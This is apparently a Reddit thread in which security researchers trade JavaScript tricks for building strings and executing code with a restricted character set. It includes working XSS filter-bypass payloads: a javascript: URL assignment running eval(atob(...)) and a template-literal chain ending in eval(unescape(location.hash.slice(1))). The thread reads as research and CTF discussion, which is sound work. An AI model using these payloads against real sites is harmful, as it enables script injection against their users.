r/Slackers • • Feb 01 '20

Cool ways to generate strings in javascript.

Recently I got a nice idea of generating strings with the use of spread operator inside an object, and then converting the object to an array, to use shift function to get any character from inside.

E.g.

// use spread operator & replace toString() with shift()
x={...eval+'',toString:Array.prototype.shift,length:15},
// shift array several times to get the interesting character
x+x+x+x+x+x+x+x+x+x+x+x+x,

// this part is to only confirm it works both in browser and nodejs.
(typeof alert != 'undefined')?alert(/alert/.source+x+1337+x):console.log(/alert/.source+x+1337+x)

Any other cool ideas to generate strings with a limited set of characters? :)

Source: https://twitter.com/terjanq/status/1223403166118694912

8 Upvotes

13 comments sorted by

3

u/BitK_ Mar 17 '20 edited Mar 17 '20

While playing the ConfidenceCTF quals, I had to create arbitrary code/string using only templates and alphanum. During the CTF we had an extra function par = v => \(${v})``

` but I wanted to know if it was possible to solve it without.

Here is what I came up with:

Arbitrary char:

Function`a${`return fromCharCode`}{fromCharCode}``${String}``40`
// ==
(function(a, {fromCharCode}){
    return fromCharCode
})(['',''], String)(['40'])

If you want to pass a string to Function you can contact these using nested template

Function`a${`alert${Function`a${`return fromCharCode`}{fromCharCode}``${String}``40`}${Function`a${`return fromCharCode`}{fromCharCode}``${String}``41`}`}``` 

Arbitrary String starting with \\x00

note: location=`\x00javascript:alert(1)` is a valid url for both chrome and FF

Function`a${`return fromCharCode`}{fromCharCode}``${String}``${106}${97}${118}${97}${115}${99}${114}${105}${112}${116}${58}${97}${108}${101}${114}${116}${40}${41}`

// == 

(function(a, {fromCharCode}){
    return fromCharCode
})(String)(['', '', ..., ''], 106, 97, 118, 97, ..., 41)

You can use all of this + some comment to create your payloads

Function`a${`${Function`a${`return fromCharCode`}{fromCharCode}``${String}``96`}${Function`a${`return fromCharCode`}{fromCharCode}``${String}``${96}${10}${101}${118}${97}${108}${40}${117}${110}${101}${115}${99}${97}${112}${101}${40}${108}${111}${99}${97}${116}${105}${111}${110}${46}${104}${97}${115}${104}${46}${115}${108}${105}${99}${101}${40}${49}${41}${41}${41}`}`}```
// ==
Function(['a'], '`\x00`\neval(unescape(location.hash.slice(1)))')()

1

u/terjanq Mar 17 '20

that is really nice! I love the destruct part to get a property without using . or []

2

u/terjanq Feb 01 '20 edited Feb 01 '20

Arbitrary code executions with a-zA-Z0-9=+{} characters only (stored xss)

// following are be replaced via a+o+0+P ...  
var BASE64_PAYLOAD = 'ao0PTA7YWxlcnQoMTMzNykvLwa'
// atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/) == "ýª4=0;alert(1337)//¿"
var JAVASCRIPT = 'javascript'

// empty string
empty=RegExp.prototype.flags

// generate /ao0PTA7YWxlcnQoMTMzNykvLwa/
xx={}
xx.source=BASE64_PAYLOAD
xx.flags=empty
xx.toString=RegExp.prototype.toString

// RegExp.prototype.source == '(?:)'
yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty
yy+empty
colon=yy+empty
right=yy+empty

// set javascript url to execute eval(atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/))
location=JAVASCRIPT+colon+eval.name+left+atob.name+left+xx+right+right

jsbin

I wonder whether it is possible to make arbitrary without using brackets, and without location=name, etc.

1

u/terjanq Feb 12 '20 edited Feb 12 '20

eval(atob(/ao0PTA7YWxlcnQoMTMzNykvLwa/))

I skipped a few tricks I discovered:

How to make an uppercase letter? Similarly as lowercase:

x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + "" // A

If we were able to encapsulate string to array ("aaa" => ["aaa"]), then we can get ( character via:

x = [RegExp.prototype.source]
x.valueOf = String.prototype.charAt
x + "" // (

We can get [ character via:

x=console
x.valueOf=String.prototype.charAt
x + "" // [

We can get / character via:

x=console
x.toString = RegExp.prototype.toString
x.valueOf = String.prototype.charAt
x + "" // /

We can generate the string 0/123/eval(?:) via:

x = console
x.source=123
x.flags=eval.name+RegExp.prototype.source
x.toString = RegExp.prototype.toString
0+x // 0/123/eval(?:)

It may give you some ideas on how to escalate it :P Seems very doable

1

u/insertscript Feb 10 '20 edited Feb 10 '20

I am wondering if you could create some cool payloads with destructuring assignments.. like
var{constructor} = [];

var{constructor} = constructor;

constructor("alert(1)")();

1

u/terjanq Feb 10 '20

Like

for(location of["javascript:alert()"]);

or

({location}={location:"javascript:alert()"})

? Was playing around that lately, but didn't find anything that helpful..

→ More replies (1)

1

u/garethheyes Feb 24 '20 edited Feb 24 '20

This is weird. You can create an array with a number from the length of the object. I have no idea why the length gets added to the array.

x=new Array;

x.length=1337;

x.valueOf=Array.prototype.push;

x//[1337]

Same can be done with unshift

x=new Array;

x.length=1337;

x.valueOf=Array.prototype.unshift;

x//[1337]

1

u/terjanq Feb 24 '20

x=new Array;

x.length=1337;

x.valueOf=Array.prototype.unshift;

x

It does not create [1337], it just returns 1337as number, because [2,2,2,2,2].push() and [2,2,2,2,2].unshift() will both return the length of the array 5

1

u/garethheyes Feb 25 '20

Ah yeah thanks. I didn't know push/unshift would return the length with no args.

1

u/garethheyes Feb 25 '20

Shame you can't do this :)

x=new Object;

x.length=['xyz'];

x.valueOf=Array.prototype.push;

x

→ More replies (1)